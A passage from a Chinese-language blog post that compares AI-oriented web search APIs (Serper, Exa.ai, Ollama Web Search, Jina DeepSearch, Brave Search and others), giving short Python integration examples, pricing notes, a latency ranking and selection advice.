\u0026#34;=\u0026#34; * 60) 36print(f\u0026#34;✅ 共找到 {len(organic_results)} 条结果\u0026#34;) 价格与配额 Serper Serper.dev 在搜索引擎 API 市场中扮演了一个非常独特的、具有破坏性的角色。你可以将 Serper.dev 理解为一个主打极致速度和极具竞争力的低廉价格的挑战者。它专注于做好一件事 —— 提供 Google 搜索结果 —— 并力求比任何竞争对手都更快、更便宜。\nSerper.dev 的存在就是为了解决 SerpApi 等传统服务存在的两个痛点：响应慢和价格贵。\n1.速度 (Speed): Serper.dev 的首要卖点是其极低的延迟。它通过自建的、高度优化的反向代理和缓存系统，能够在极短时间内返回 Google 的搜索结果。对于需要实时交互的应用（例如，与用户对话的 AI 聊天机器人），这种低延迟是至关重要的。\n成本效益 (Cost-Effectiveness): 这是它最大的颠覆之处。Serper.dev 的定价策略非常激进，其单位搜索成本远低于 SerpApi。它提供了一个极其慷慨的免费套餐，并且付费套餐的价格也很有吸引力，这使得它对个人开发者、初创公司和需要大规模搜索但预算有限的项目极具诱惑力。 实测下来，Serper确实是最快的。\n核心 API ●API 类型: 同样是简单易用的 REST API。\n●端点: 主要提供 /search 端点用于网页搜索，以及 /images 等用于图片搜索的特定端点。\n●关键参数: 与 SerpApi 非常相似，包括 q (查询), gl (国家), hl (语言), location (地理位置) 等，使其易于上手和迁移。\n●核心产出: 返回与 SerpApi 类似、结构清晰的 JSON 对象，其中包含了 Google SERP 的主要元素，如自然结果、广告、知识图谱、相关问题等。\n适用场景与优势 ●适用场景:\n○实时 AI 对话应用: 当 AI 需要在对话中快速查找信息时，Serper 的低延迟可以避免让用户感到明显的等待。\n○大规模数据采集: 当项目需要百万级别的搜索量时，Serper 的低成本优势会变得极为显著。\n○初创公司和独立开发者: 慷慨的免费套餐和低廉的付费门槛，使其成为验证想法（MVP）和开发早期产品的理想选择。\n○任何以 Google 搜索为主要信息源且对成本和速度敏感的应用。\n●核心优势:\n○快: 无与伦比的响应速度。\n○省钱: 极低的单位搜索成本和慷慨的免费额度。\n○简单: API 设计直观，专注于核心功能，没有过多复杂选项。\n生态与集成 ●与 AI 框架的集成: Serper.dev 同样是 LangChain 和 LlamaIndex 生态系统中的一等公民。它作为一个标准的 Tool 或 Wrapper 被广泛支持，许多教程和项目都因其性价比而推荐使用它。\n●编程语言支持: 虽然可能没有像 SerpApi 那样提供十几种语言的官方库，但由于其 API 简单，通过任何支持 HTTP 请求的语言（如 Python, Node.js）进行集成都非常容易。\n●社区认知度: 在 AI 开发者社区中，Serper.dev 因其出色的性价比而广为人知，并经常被推荐为 SerpApi 的首选替代品。\n接入示例：\n1⚡ python片段\u0026#34;\u0026#34;\u0026#34; 2Serper.dev Search API - 超简洁版 3更快更便宜的 Google 搜索 API 4\u0026#34;\u0026#34;\u0026#34; 5 6import os 7import requests # type: ignore[import-untyped] 8from dotenv import load_dotenv 9 10load_dotenv() 11 12# API 配置 13API_KEY = os.getenv(\u0026#34;SERPER_API_KEY\u0026#34;) 14API_URL = \u0026#34;https://google.serper.dev/search\u0026#34; 15 16# 搜索 17query = input(\u0026#34;搜索: \u0026#34;) 18response = requests.post( 19 API_URL, 20 headers={\u0026#34;X-API-KEY\u0026#34;: API_KEY, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;}, 21 json={\u0026#34;q\u0026#34;: query, \u0026#34;num\u0026#34;: 5}, 22) 23 24results = response.json() 25 26# 打印结果 27print(f\u0026#34;\\n🔍 搜索结果: {query}\\n\u0026#34;) 28print(\u0026#34;=\u0026#34; * 60) 29 30for idx, result in enumerate(results.get(\u0026#34;organic\u0026#34;, []), 1): 31 print(f\u0026#34;\\n【{idx}】 {result.get(\u0026#39;title\u0026#39;, \u0026#39;无标题\u0026#39;)}\u0026#34;) 32 print(f\u0026#34;🔗 {result.get(\u0026#39;link\u0026#39;, \u0026#39;\u0026#39;)}\u0026#34;) 33 print(f\u0026#34;📝 {result.get(\u0026#39;snippet\u0026#39;, \u0026#39;无描述\u0026#39;)}\u0026#34;) 34 35print(\u0026#34;\\n\u0026#34; + \u0026#34;=\u0026#34; * 60) 36print(f\u0026#34;✅ 共找到 {len(results.get(\u0026#39;organic\u0026#39;, []))} 条结果\u0026#34;) 价格与配额 这是 Serper.dev 最闪亮的标签。\n●免费套餐: 提供每月 2,500 次的免费搜索，足以满足大多数个人项目和小型应用的开发与测试需求。\n●付费模式: 订阅制。其付费套餐的性价比极高，例如，每月支付少量费用（例如 10 美元）就可以获得数万次的搜索量，这个数量在 SerpApi 上可能需要花费高出数倍甚至一个数量级的费用。\n●定价哲学: 薄利多销。通过低价吸引大量用户，尤其是在 AI 应用爆发增长的背景下，这种策略非常成功。\nExa.ai 如果我们说 SerpApi / Serper 是对传统关键词搜索引擎的 “API 化”，Tavily 是为 AI “优化答案”，那么 Exa.ai (其前身为 Metaphor) 则是一种完全不同类型的搜索引擎。它不是一个传统的 “关键词搜索引擎” 的 API 封装，而是一个为 AI 和大型语言模型 (LLM) 从头构建的 “神经搜索引擎” 或 “概念搜索引擎”。\n核心理念：搜索 “概念”，而非 “关键词”\nExa.ai 最根本的不同在于它的搜索方式。它不依赖于你输入精确的关键词，而是让你用自然语言描述你想要找的 “那种” 内容。Exa 的底层是一个大型的 Transformer 模型，它被训练来理解网页内容之间的关系和 “意义”，而不是仅仅索引它们的文字。\n举个例子来理解这种差异：\n●传统关键词搜索 (SerpApi/Serper/Tavily): 你想找一些关于日本小众旅行地的深度文章，你可能会输入关键词：\u0026ldquo;日本 深度游 博客\u0026rdquo; 或 \u0026ldquo;Japan hidden gems travel blog\u0026rdquo;。\n○返回的结果会是那些包含了这些关键词的页面，质量良莠不齐。\n●Exa.ai 概念搜索: 你可以直接告诉它你的意图: \u0026ldquo;请给我找一些关于日本旅行的、写得像诗一样优美的个人博客，内容要侧重于当地文化体验，而不是热门旅游景点。\u0026rdquo;\n○Exa 会理解 “诗一样优美”、“侧重文化体验”、“非热门景点” 这些抽象概念，然后返回那些在内容和风格上与你的描述相匹配的链接，即使这些页面中根本没有出现你用到的描述词。\nExa.ai 不是用来替代 Google 搜索的，而是为需要进行深度研究、发现和内容探索的 AI 系统提供了一种全新的、更强大的工具。如果说 SerpApi / Serper 是给了 AI 一张 “地图”，Tavily 是给了 AI 一个 “向导”，那么 Exa.ai 则是给了 AI 一个拥有直觉和品味的 “图书管理员” 或 “研究伙伴”。它开启了让 AI 从 “信息检索者” 向 “知识发现者” 转变的可能性。\n核心 API Exa 的 API 设计完全体现了其 “概念驱动” 的哲学，主要有三个强大的端点：\n1./search: 核心的搜索功能。接收一个自然语言描述作为查询，返回一个按相关性排序的链接列表。\n2./findSimilar: 极具特色的功能。你给它一个 URL，它会返回一串内容和风格上都与这个 URL “相似” 或 “同类” 的其他链接。这对于构建推荐引擎或进行深度研究非常强大。\n3./contents: 检索和内容提取功能。你给它一个或多个搜索结果的 ID，它能直接返回这些页面的干净、去除了广告和无关元素的文本内容，可以直接作为上下文喂给 LLM。这相当于集成了搜索和内容抓取两步。\n适用场景与优势 ●适用场景:\n○高级 AI 研究代理 (Agent): 构建能够进行深度、开放式研究的 AI 代理，而不仅仅是查找孤立的事实。\n○内容发现与推荐: 帮助用户发现他们可能喜欢但难以用关键词描述的新博客、文章或资源。\n○高质量 RAG: 为 RAG 系统寻找特定领域、特定风格或特定深度的高质量信息源，以提升生成内容的质量。\n○个人知识管理: 根据一篇你喜欢的文章，发现更多类似的高质量内容来拓展你的知识边界。\n●核心优势:\n○超越关键词的理解力: 能够理解抽象的意图和概念，找到 “隐藏的宝藏”。\n○发现高质量内容: 其模型倾向于发现更高质量、更独特的内容，而不是被 SEO 优化的普通页面。\n○独特的 “相似性” 搜索: /findSimilar 功能是独一无二的，开辟了新的应用可能性。\n○端到端的内容获取: /contents API 将搜索和内容提取无缝衔接，极大简化了 RAG 流程。\n生态与集成 Exa.ai 在 AI 开发者社区中，尤其是在那些探索 Agentic AI 和高级 RAG 的前沿开发者中，声名鹊起。\n●AI 框架: 它是 LangChain 和 LlamaIndex 的官方集成工具，被认为是构建复杂研究型 Agent 的首选工具之一。\n●社区定位: 它被社区视为一个 “专家级” 工具，用于解决传统搜索引擎无法处理的、更偏向 “探索与发现” 而非 “查找与验证” 的任务。\n接入示例：\n1⚡ python片段\u0026#34;\u0026#34;\u0026#34; 2Exa.ai Search API - 超简洁版 3专为 AI 设计的语义搜索引擎 4\u0026#34;\u0026#34;\u0026#34; 5 6import os 7from dotenv import load_dotenv 8from exa_py import Exa # type: ignore 9 10load_dotenv() 11 12# 创建客户端 13client = Exa(api_key=os.getenv(\u0026#34;EXA_API_KEY\u0026#34;)) 14 15# 搜索 16query = input(\u0026#34;搜索: \u0026#34;) 17results = client.search_and_contents(query, num_results=5, text=True) 18 19# 打印结果 20print(f\u0026#34;\\n🔍 搜索结果: {query}\\n\u0026#34;) 21print(\u0026#34;=\u0026#34; * 60) 22 23for idx, result in enumerate(results.results, 1): 24 print(f\u0026#34;\\n【{idx}】 {result.title}\u0026#34;) 25 print(f\u0026#34;🔗 {result.url}\u0026#34;) 26 if result.text: 27 snippet = result.text[:200].replace(\u0026#34;\\n\u0026#34;, \u0026#34; \u0026#34;) 28 print(f\u0026#34;📝 {snippet}...\u0026#34;) 29 30print(\u0026#34;\\n\u0026#34; + \u0026#34;=\u0026#34; * 60) 31print(f\u0026#34;✅ 共找到 {len(results.results)} 条结果\u0026#34;) 价格与配额 ●定价模型: 采用基于用量的定价模式。通常会有一个免费的开发者额度，用于测试和小型项目。\n●计费方式: 它的计费可能比其他服务稍复杂，因为它有不同的 API 端点。通常，一次 /search 或 /findSimilar 调用会消耗一定数量的 “API 单元”，而一次 /contents 调用（因为它涉及实际的网页抓取和解析）会消耗更多的 “API 单元”。\n●成本考量: 相对于 Serper 这样的低成本关键词搜索，Exa 的单次查询成本更高。它的价值不在于便宜，而在于它能做到其他搜索引擎做不到的事情。\nOllama Web Search Ollama 公司官方直接提供了一个云端 Web 搜索 API 服务。个人用户完全免费\n核心 API ●服务类型: 一个由 Ollama 公司直接运营和维护的托管式 (Managed) REST API。\n●核心功能: 接收用户的自然语言查询，访问互联网，并返回相关的搜索结果。Ollama 在后端处理了所有的复杂性，包括选择搜索引擎、处理反爬虫、解析结果等。对用户来说，它是一个单一、可靠的入口。\n●简易性: API 的设计极致简约，如您的代码所示，只有一个端点、一种认证方式和一个核心参数，几乎没有学习成本。\n适用场景与优势 ●适用场景:\n○快速原型开发: 开发者可以立刻为他们的应用添加联网搜索功能，而无需注册和配置多个服务。\n○Ollama 生态内的应用: 与在本地运行的 Ollama 模型无缝集成，是官方推荐的、最简单的联网方式。\n○任何需要简单、免费搜索功能的项目: 由于其易用性和免费特性，它适用于各种轻量级的 AI 聊天、RAG 应用或自动化脚本。\n●核心优势:\n○极致简化 (Extreme Simplicity): 这是其最大的优势。开发者不再需要 “Ollama + 第三方搜索 API” 的组合，只需要一个 Ollama 账户和 API 密钥，即可搞定一切。\n○免费或极低成本: 根据您的信息，免费提供这一点使其在成本上无与伦比。\n○无缝的生态集成: 作为官方服务，它能保证与 Ollama 的其他产品（无论是本地运行的开源工具还是未来可能推出的云端服务）达到最完美的兼容性。\n○单一供应商: 无需管理多个供应商的账户、API 密钥和账单，降低了管理复杂性。\n生态与集成 ●核心定位: 它是 Ollama 自身生态系统的官方、原生搜索解决方案。它的主要目标是服务于使用 Ollama 运行模型的广大开发者。\n●通用性: 尽管它与 Ollama 生态紧密相连，但从您的代码可以看出，它是一个标准的 REST API，可以被任何应用程序、任何编程语言独立调用，完全不依赖于本地的 Ollama 运行环境。\n●未来潜力: 这种模式为 Ollama 未来的发展铺平了道路，例如推出官方托管的 LLM 推理服务，并与此搜索服务打包，提供一站式的 “模型 + 搜索” 解决方案。\n接入示例：\n1⚡ python片段\u0026#34;\u0026#34;\u0026#34; 2Ollama Web Search - 超简洁版 3文档: https://docs.ollama.com/capabilities/web-search 4\u0026#34;\u0026#34;\u0026#34; 5 6import os 7import requests 8from dotenv import load_dotenv 9 10load_dotenv() 11 12# API 配置 13api_key = os.getenv(\u0026#34;OLLAMA_API_KEY\u0026#34;) 14url = \u0026#34;https://ollama.com/api/web_search\u0026#34; 15 16# 搜索 17query = input(\u0026#34;搜索: \u0026#34;) 18response = requests.post( 19 url, headers={\u0026#34;Authorization\u0026#34;: f\u0026#34;Bearer {api_key}\u0026#34;}, json={\u0026#34;query\u0026#34;: query} 20) 21 22# 打印结果 23print(response.json()) 价格与配额 ●当前模式: 根据您的信息和代码示例，该服务目前是免费提供的。\n●可能的未来: 行业内常见的模式是提供一个非常慷慨的免费层级（Free Tier），足以满足绝大多数个人开发者和小型项目的需求。对于超出免费额度的大规模商业应用，未来可能会推出付费的专业版套餐（Pro Tier），提供更高的请求速率限制、更大的请求量和更强的技术支持。\nJina AI DeepSearch Jina AI 是一家专注于神经搜索（Neural Search）和多模态 AI 的公司，他们的 DeepSearch 服务是其核心产品之一。DeepSearch 与我们之前讨论的 SerpApi、Serper、Tavily，甚至 Exa.ai 都有所不同，它更侧重于语义理解和基于向量嵌入（Embeddings）的内容搜索，而不是简单地抓取关键词或提供预设的答案摘要。\n可以将 DeepSearch 理解为一个允许你构建和查询自己的语义搜索引擎的平台。它不仅仅是帮你 “搜索 Google”，更是帮你 “理解和搜索你自己的数据，以及整个网络上与你概念相关的数据”。\nJina AI 的 DeepSearch 代表了搜索引擎的未来方向之一：从基于字符串匹配的 “关键词搜索” 转向基于语义理解和概念匹配的 “神经搜索”。它对于需要构建能够真正 “理解” 用户意图并发现深层相关内容的 AI 应用来说，是一个强大而高级的工具。如果你的项目需要超越传统搜索的语义能力，尤其是在处理非结构化数据、进行深度内容发现和构建智能 RAG 系统时，DeepSearch 是一个非常值得考虑的选择。\n核心 API Jina AI DeepSearch 的核心是一个强大的神经搜索 API，其能力基于向量嵌入和语义匹配。\n●核心理念: 它不依赖于关键词匹配，而是通过将文本、图像、视频等各种模态的数据转化为高维向量（Embeddings）。当用户发起查询时，查询本身也被转化为向量，然后在大规模的向量数据库中进行语义相似性匹配，找到概念上最相关的内容。\n●主要功能:\n○语义搜索: 用户可以用自然语言描述其意图或提供一个内容片段（文本、URL），DeepSearch 会返回语义上最相关的内容，即使这些内容不包含任何关键词。\n○多模态搜索: 能够处理和搜索不同类型的数据，理论上包括文本、图片、音频、视频等（尽管其网页搜索功能主要集中在文本和图片上）。\n○自定义数据集索引: 用户可以将自己的数据（例如公司的文档库、产品目录、内部知识库）上传并索引到 DeepSearch 中，构建一个完全语义化的内部搜索引擎。\n○网页抓取与索引: DeepSearch 提供了抓取网页并将其内容向量化的能力。这意味着你可以用它来构建一个基于语义的、针对特定网站或整个网络的索引。\n○上下文增强: 返回的不仅仅是链接，通常还会包含抓取到的、与查询相关的页面文本片段，非常适合作为 LLM 的上下文。\n●产出: API 会返回一个包含相关结果的列表，每个结果通常包括：原始 URL、页面标题、抓取到的相关文本片段，以及一个表示语义相关性的得分。\n适用场景与优势 DeepSearch 的优势在于其深度语义理解能力，使其在传统关键词搜索力不从心的地方大放异彩。\n●适用场景:\n○高级 RAG 系统: 为 LLM 提供高度相关的、语义化的上下文。当 LLM 需要的不是 “包含这些关键词的页面”，而是 “概念上与此主题最接近的深度分析” 时，DeepSearch 就能发挥作用。\n○内部知识库搜索: 企业可以利用它构建一个能够理解员工自然语言提问、并提供最相关内部文档的搜索引擎。\n○内容推荐与发现: 基于用户阅读过的内容（URL 或文本），通过语义相似性发现更多高质量、风格或主题相似的内容。\n○创新型搜索引擎: 构建更智能、更具洞察力的搜索引擎，例如根据产品描述找到最相似的产品，或根据图片找到相关描述的文本。\n○开放域问答: 提供超越关键词匹配的、更智能的答案来源。\n●核心优势:\n○语义理解: 最核心的优势。它理解查询和内容背后的 “意义”，而非表面的词语。这避免了 “关键词陷阱” 和同义词问题。\n○高质量的相关性: 能够发现传统搜索难以找到的、但在概念上高度相关的内容。\n○多模态潜力: 为未来处理更复杂的多模态信息奠定基础。\n○高度可定制: 允许用户索引自己的数据，构建定制化的神经搜索体验。\n○解决 “搜索长尾” 问题: 对于非常具体、小众、难以用关键词描述的查询，其语义匹配能力更强。\n生态与集成 Jina AI 在开源社区和 AI 框架中都有很强的存在感，DeepSearch 也受益于此。\n●Jina 生态系统: Jina AI 提供了包括 Jina Core (构建神经搜索应用的框架)、DocArray (用于处理多模态数据的库) 等一系列工具。DeepSearch 是这个生态中的一个商业化服务。\n●与 LLM 框架集成: 作为先进的搜索解决方案，DeepSearch 也被集成到 LangChain 和 LlamaIndex 等主流的 AI 框架中，作为 Retriever（检索器）或 Tool（工具）使用。\n●开发者工具: Jina AI 提供了易于使用的客户端库和详细的文档，方便开发者快速集成其 API。\n接入示例：\n1⚡ python片段\u0026#34;\u0026#34;\u0026#34; 2Jina AI DeepSearch API - 超简洁版 3AI 驱动的深度搜索引擎 4\u0026#34;\u0026#34;\u0026#34; 5 6import os 7import requests # type: ignore[import-untyped] 8from dotenv import load_dotenv 9 10load_dotenv() 11 12# API 配置 13API_KEY = os.getenv(\u0026#34;JINA_API_KEY\u0026#34;) 14API_URL = \u0026#34;https://s.jina.ai/\u0026#34; 15 16# 搜索 17query = input(\u0026#34;搜索: \u0026#34;) 18headers = { 19 \u0026#34;Authorization\u0026#34;: f\u0026#34;Bearer {API_KEY}\u0026#34;, 20 \u0026#34;Accept\u0026#34;: \u0026#34;application/json\u0026#34;, 21} 22 23response = requests.get(f\u0026#34;{API_URL}{query}\u0026#34;, headers=headers) 24results = response.json() 25 26# 打印结果 27print(f\u0026#34;\\n🔍 搜索结果: {query}\\n\u0026#34;) 28print(\u0026#34;=\u0026#34; * 60) 29 30data = results.get(\u0026#34;data\u0026#34;, []) 31for idx, result in enumerate(data[:5], 1): 32 print(f\u0026#34;\\n【{idx}】 {result.get(\u0026#39;title\u0026#39;, \u0026#39;无标题\u0026#39;)}\u0026#34;) 33 print(f\u0026#34;🔗 {result.get(\u0026#39;url\u0026#39;, \u0026#39;\u0026#39;)}\u0026#34;) 34 description = result.get(\u0026#34;description\u0026#34;, result.get(\u0026#34;content\u0026#34;, \u0026#34;\u0026#34;)) 35 if description: 36 snippet = description[:200].replace(\u0026#34;\\n\u0026#34;, \u0026#34;\u0026#34;) 37 print(f\u0026#34;📝 {snippet}...\u0026#34;) 38 39print(\u0026#34;\\n\u0026#34; + \u0026#34;=\u0026#34; * 60) 40print(f\u0026#34;✅ 共找到 {len(data)} 条结果\u0026#34;) 价格与配额 相较于关键词抓取服务（如 Serper），或者纯粹的答案摘要服务（如 Tavily），由于其底层的向量嵌入和语义匹配计算成本较高，DeepSearch 的单次查询或数据处理成本可能相对更高。但其提供的是更高的价值和更深层次的语义理解。\nBrave Search Brave Search 代表了搜索引擎领域中一股独特而强大的力量：真正的独立性。与我们之前讨论的许多依赖于 Google 或 Bing 数据的服务不同，Brave 从头构建了自己独立的网络索引，这使其在市场上独树一帜。\nBrave Search 的诞生源于对 Google 和 Bing 在搜索领域双头垄断的担忧。其核心使命是提供一个不依赖于大型科技公司、注重隐私、并能提供无偏见结果的替代品。它的 API 让你能够以编程方式访问这个独特的、独立的索引。\n核心 API https://api-dashboard.search.brave.com/app/documentation/web-search/get-started\n●独立索引 (Independent Index): 这是它最核心、最与众不同的特点。当你调用 Brave Search API 时，你查询的是 Brave 自己爬虫和算法构建的数据库，而不是 Google 或 Bing 的 “二手数据”。这意味着你能得到一套可能完全不同的、未经主流引擎过滤的结果。\n●Goggles 功能: 这是一个非常独特的创新功能，也通过 API 提供。Goggles 允许用户创建或使用自定义的 “规则集” 来重新排序搜索结果。例如，你可以应用一个 “反科技巨头” 的 Goggle，它会自动降低大型科技公司网站的排名；或者应用一个 “学术优先” 的 Goggle，来优先显示学术论文和研究。\n●多类型搜索: API 支持多种搜索类型，包括网页搜索 (web)、新闻搜索 (news)、视频搜索 (videos) 等。\n●简洁的 API 设计: API 的端点和参数设计得非常直观，包括 q (查询), country, search_lang 等标准参数，易于开发者上手。\n●核心产出: 返回一个干净的、结构化的 JSON 对象，其中包含了各种类型的搜索结果，以及丰富的元数据。\n适用场景与优势 选择 Brave Search API 通常是基于对其核心理念的认同，以及对其独特优势的需求。\n●适用场景:\n○注重隐私的应用: 对于不想将用户数据和查询历史发送给 Google 或 Bing 的应用来说，Brave 是理想选择。\n○需要 “第二意见” 的工具: 在研究、分析或事实核查应用中，可以同时调用 Brave API 和其他主流 API，为用户提供一个对比视角，打破 “信息茧房”。\n○构建新型 AI Agent: 为 AI 代理提供一个非主流、可能更少偏见的信源，以获得更多样化的观点和信息。\n○新闻聚合与分析: 利用其独立的新闻索引来发现可能被主流引擎忽略的报道。\n●核心优势:\n○真正的独立性: 结果不受 Google 或 Bing 排名算法的影响，提供了真正的多样性。\n○隐私保护: 继承了 Brave 浏览器对用户隐私的承诺，API 调用不会被用于用户画像分析。\n○无偏见的结果: Brave 声称其排名算法旨在提供最相关、最公正的结果，减少商业化和 SEO 的过度影响。\n○创新的 Goggles 功能: 提供了前所未有的结果定制能力，让开发者可以根据特定需求对结果进行重新排序。\n生态与集成 作为一个现代化的 API 服务，Brave Search 非常注重开发者生态。\n●AI 框架集成: 它被迅速地集成到了 LangChain 和 LlamaIndex 等主流 AI 开发框架中。开发者可以非常轻松地将其作为一个 Tool 或 Retriever 添加到自己的 AI 应用中，这极大地推动了它在 AI 社区的普及。\n●易于使用: 作为一个标准的 REST API，它可以被任何编程语言轻松调用。官方文档清晰，API 控制台 (api-dashboard) 直观易用。\n●社区支持: 围绕 Brave 的隐私和独立理念，已经形成了一个强大的开发者和用户社区。\n接入示例：\n1⚡ python片段\u0026#34;\u0026#34;\u0026#34; 2Brave Search API - 超简洁版 3独立索引的隐私优先搜索引擎 API 4\u0026#34;\u0026#34;\u0026#34; 5 6import os 7import requests # type: ignore[import-untyped] 8from dotenv import load_dotenv 9 10load_dotenv() 11 12# API 配置 13API_KEY = os.getenv(\u0026#34;BRAVE_API_KEY\u0026#34;) 14API_URL = \u0026#34;https://api.search.brave.com/res/v1/web/search\u0026#34; 15 16if not API_KEY: 17 print(\u0026#34;❌ 错误：请设置 BRAVE_API_KEY 环境变量\u0026#34;) 18 print(\u0026#34;提示：在 .env 文件中添加：BRAVE_API_KEY=your_key_here\u0026#34;) 19 exit(1) 20 21# 搜索 22query = input(\u0026#34;搜索: \u0026#34;) 23headers = { 24 \u0026#34;Accept\u0026#34;: \u0026#34;application/json\u0026#34;, 25 \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip\u0026#34;, 26 \u0026#34;X-Subscription-Token\u0026#34;: API_KEY, 27} 28params = {\u0026#34;q\u0026#34;: query, \u0026#34;count\u0026#34;: 5} 29 30try: 31 response = requests.get(API_URL, headers=headers, params=params) 32 response.raise_for_status() 33 results = response.json() 34except requests.exceptions.RequestException as e: 35 print(f\u0026#34;❌ 请求错误: {e}\u0026#34;) 36 ifhasattr(e.response, \u0026#34;text\u0026#34;): 37 print(f\u0026#34;响应: {e.response.text}\u0026#34;) 38 exit(1) 39 40# 打印结果 41print(f\u0026#34;\\n🔍 搜索结果: {query}\\n\u0026#34;) 42print(\u0026#34;=\u0026#34; * 60) 43 44web_results = results.get(\u0026#34;web\u0026#34;, {}).get(\u0026#34;results\u0026#34;, []) 45if not web_results: 46 print(\u0026#34;⚠️ 未找到搜索结果\u0026#34;) 47 print(f\u0026#34;API 响应: {results}\u0026#34;) 48else: 49 for idx, result in enumerate(web_results, 1): 50 print(f\u0026#34;\\n【{idx}】 {result.get(\u0026#39;title\u0026#39;, \u0026#39;无标题\u0026#39;)}\u0026#34;) 51 print(f\u0026#34;🔗 {result.get(\u0026#39;url\u0026#39;, \u0026#39;\u0026#39;)}\u0026#34;) 52 description = result.get(\u0026#34;description\u0026#34;, \u0026#34;\u0026#34;) 53 if description: 54 # 移除 HTML 标签 55 clean_desc = description.replace(\u0026#34;\u0026lt;strong\u0026gt;\u0026#34;, \u0026#34;\u0026#34;).replace(\u0026#34;\u0026lt;/strong\u0026gt;\u0026#34;, \u0026#34;\u0026#34;) 56 snippet = clean_desc[:200].replace(\u0026#34;\\n\u0026#34;, \u0026#34;\u0026#34;) 57 print(f\u0026#34;📝 {snippet}...\u0026#34;) 58 59 print(\u0026#34;\\n\u0026#34; + \u0026#34;=\u0026#34; * 60) 60 print(f\u0026#34;✅ 共找到 {len(web_results)} 条结果\u0026#34;) 价格与配额 Brave Search API 的定价模型旨在吸引从个人开发者到大型企业的各类用户，具有很强的竞争力。\n●免费套餐 (Free Plan): 提供一个非常慷慨的免费层级，通常每月提供多达 2,000 次的免费查询。这足以满足绝大多数个人项目、开发测试和小型应用的需求。\n●付费套餐 (Paid Plans): 对于需要更高查询量的用户，提供了多个付费订阅套餐。\n○付费套餐的起步价非常亲民（例如，每月几美元即可获得数万次查询）。\n○其单位查询成本在整个行业中都非常有竞争力，使其成为 SerpApi 等高端服务的低成本、高质量替代品。\n●定价哲学: 通过提供高性价比的服务来鼓励开发者使用其独立的索引，从而挑战现有市场格局，推动一个更开放、更多样化的网络。\n其他厂家 还有一些其它的厂商也提供类似服务，比如国内的：\n●https://open.bochaai.com/\n●https://aisearch.anspire.cn/\n选型建议 我们快速回顾一下各个供应商的核心定位：\n●Tavily: 专为 AI Agent 和 RAG 设计的 “答案层” API，强调对搜索结果的清洗、总结和整合，直接输出对 LLM 友好的内容\n●SerpApi: 功能最全面的 “数据层” API，精确抓取并解析 Google、Bing、Baidu 等几十个平台的完整 SERP（搜索结果页面），数据极其丰富\n●Serper: SerpApi 的挑战者，主打极致的速度和极低的价格，专注于提供 Google 搜索结果\n●Exa.ai: “概念搜索引擎”，使用自然语言描述进行搜索，能理解抽象意图，擅长内容发现和深度研究，而非简单的关键词匹配\n●Ollama Web Search: Ollama 官方提供的免费云端 API 服务，极致简化，与 Ollama 生态无缝集成\n●Jina.ai DeepSearch: 强大的 “神经搜索引擎”，基于向量嵌入进行语义搜索，支持自定义数据索引和多模\n●Brave Search: 建立在独立网络索引之上的搜索引擎，主打隐私保护和不受主流引擎影响的 “第二意见” 结果\n综合对比与分析 我们将从响应速度、成本、功能、易用性和适用场景五个维度进行详细对比。\n响应速度 经过本地实测，响应速度上 Brave Search 和 SerpApi 是伯仲之间\n1⚡ 代码片段====================================================================== 2🏆 响应速度排名（从快到慢） 3====================================================================== 4🥇 1. SerpApi 627ms 5🥈 2. Brave Search 662ms 6🥉 3. Tavily 976ms 7 4. Serper.dev 1.35s 8 5. Exa.ai 2.29s 9 6. Jina AI 4.66s 10 11====================================================================== 成本 成本是选型的关键，我们从业余 / 开发阶段到大规模生产阶段进行考量\n成本排序（从低到高）：\nOllama \u0026gt; Serper \u0026gt; Brave \u0026gt; Tavily \u0026gt; Exa.ai \u0026gt; Jina.ai \u0026gt; SerpApi\n功能 易用性 ●最简单: Ollama Web Search。官方原生，一个 API Key 解决所有问题，无需任何第三方配置 。\n●非常简单: Serper, Brave, Tavily。都是标准的 REST API，API 设计直观简洁，且都深度集成了 LangChain 等 AI\n●中等: SerpApi。功能非常多，参数复杂，但因为有完善的文档、工具和多语言库，集成也相对顺畅\n●较复杂 / 需理解新概念: Exa.ai, Jina.ai。它们引入了新的搜索范式（概念搜索、神经搜索），需要开发者改变传统的 “关键词思维” 才能发挥其最大价值\n适用场景 ●需要最高性价比、大规模获取 Google 结果: Serper 是不二之选\n●快速原型、个人项目或 Ollama 生态内应用: Ollama Web Search 的免费和简易性使其成为首选\n●注重隐私、需要独立 / 差异化结果源: Brave Search 是最佳选择。\n●构建高质量 RAG 或 AI Agent: Tavily 经过优化的输出能显著提升效果和效率，是此场景的理想选择\n●需要完整、真实的 SERP 数据用于 SEO 或市场分析: SerpApi 的数据完整性和多平台支持无可替代。\n●需要进行深度研究、内容发现或构建推荐系统: Exa.ai 的概念搜索和相似性搜索能力是独一无二的\n●需要构建企业内部的语义知识库或进行高级语义搜索: Jina.ai 的自定义索引和神经搜索能力最为强大\n选型建议 综合以上分析，以下是针对不同需求的选型建议：\n1.个人开发者 / 初创公司 / 预算极度敏感项目：\n○首选：Ollama Web Search。完全免费且极致简单，没有任何理由不优先考虑它\n○备选：Serper 或 Brave Search。当 Ollama 不可用或需要更高查询量时，这两者提供了业内最慷慨的免费额度和最低的付费门槛\n2.构建标准 RAG 或 AI Agent 应用：\n○首选：Tavily。它专为此场景设计，能直接提供清洗和总结后的高质量上下文，有效降低幻觉，节省你自己处理数据的成本和 LLM 的 Token 消耗\n○备选：Serper。如果你的 RAG 流程需要自己控制总结逻辑，且对成本和速度要求很高，可以使用 Serper 作为快速的数据获取层\n3.专业的 SEO / 市场分析 / 需要多平台数据的企业级应用：\n○唯一选择：SerpApi。尽管价格昂贵，但其数据的完整性、真实性以及对全球几十个搜索引擎和电商平台的支持是其他所有服务都无法比拟的\n4.探索前沿 AI 应用 / 需要进行深度内容发现和研究：\n○首选：Exa.ai。如果你需要 AI 去 “发现” 而不是 “查找”，或者需要基于一篇好文章找到更多同类内容，Exa 的概念搜索和相似性搜索能力是你的不二之选\n○备选：Jina.ai DeepSearch。如果你不仅要搜索网络，还想构建一个能理解内部文档的、强大的语义知识库，Jina 提供了更完整的平台级解决方案\n另外 ，从风险评估的角度总结来说：\n","date":"2025-10-25T03:35:29Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-10-25-gei-ai-yi-shuang-hui-yan-shen-du-ping-ce-7-kuan-zhu-liu-ai-s/cover.jpg","permalink":"/p/2025-10-25-gei-ai-yi-shuang-hui-yan-shen-du-ping-ce-7-kuan-zhu-liu-ai-s/","title":"给 AI 一双 “慧眼”：深度评测 7 款主流 AI 搜索引擎（Tavily, SerpApi, Exa.ai 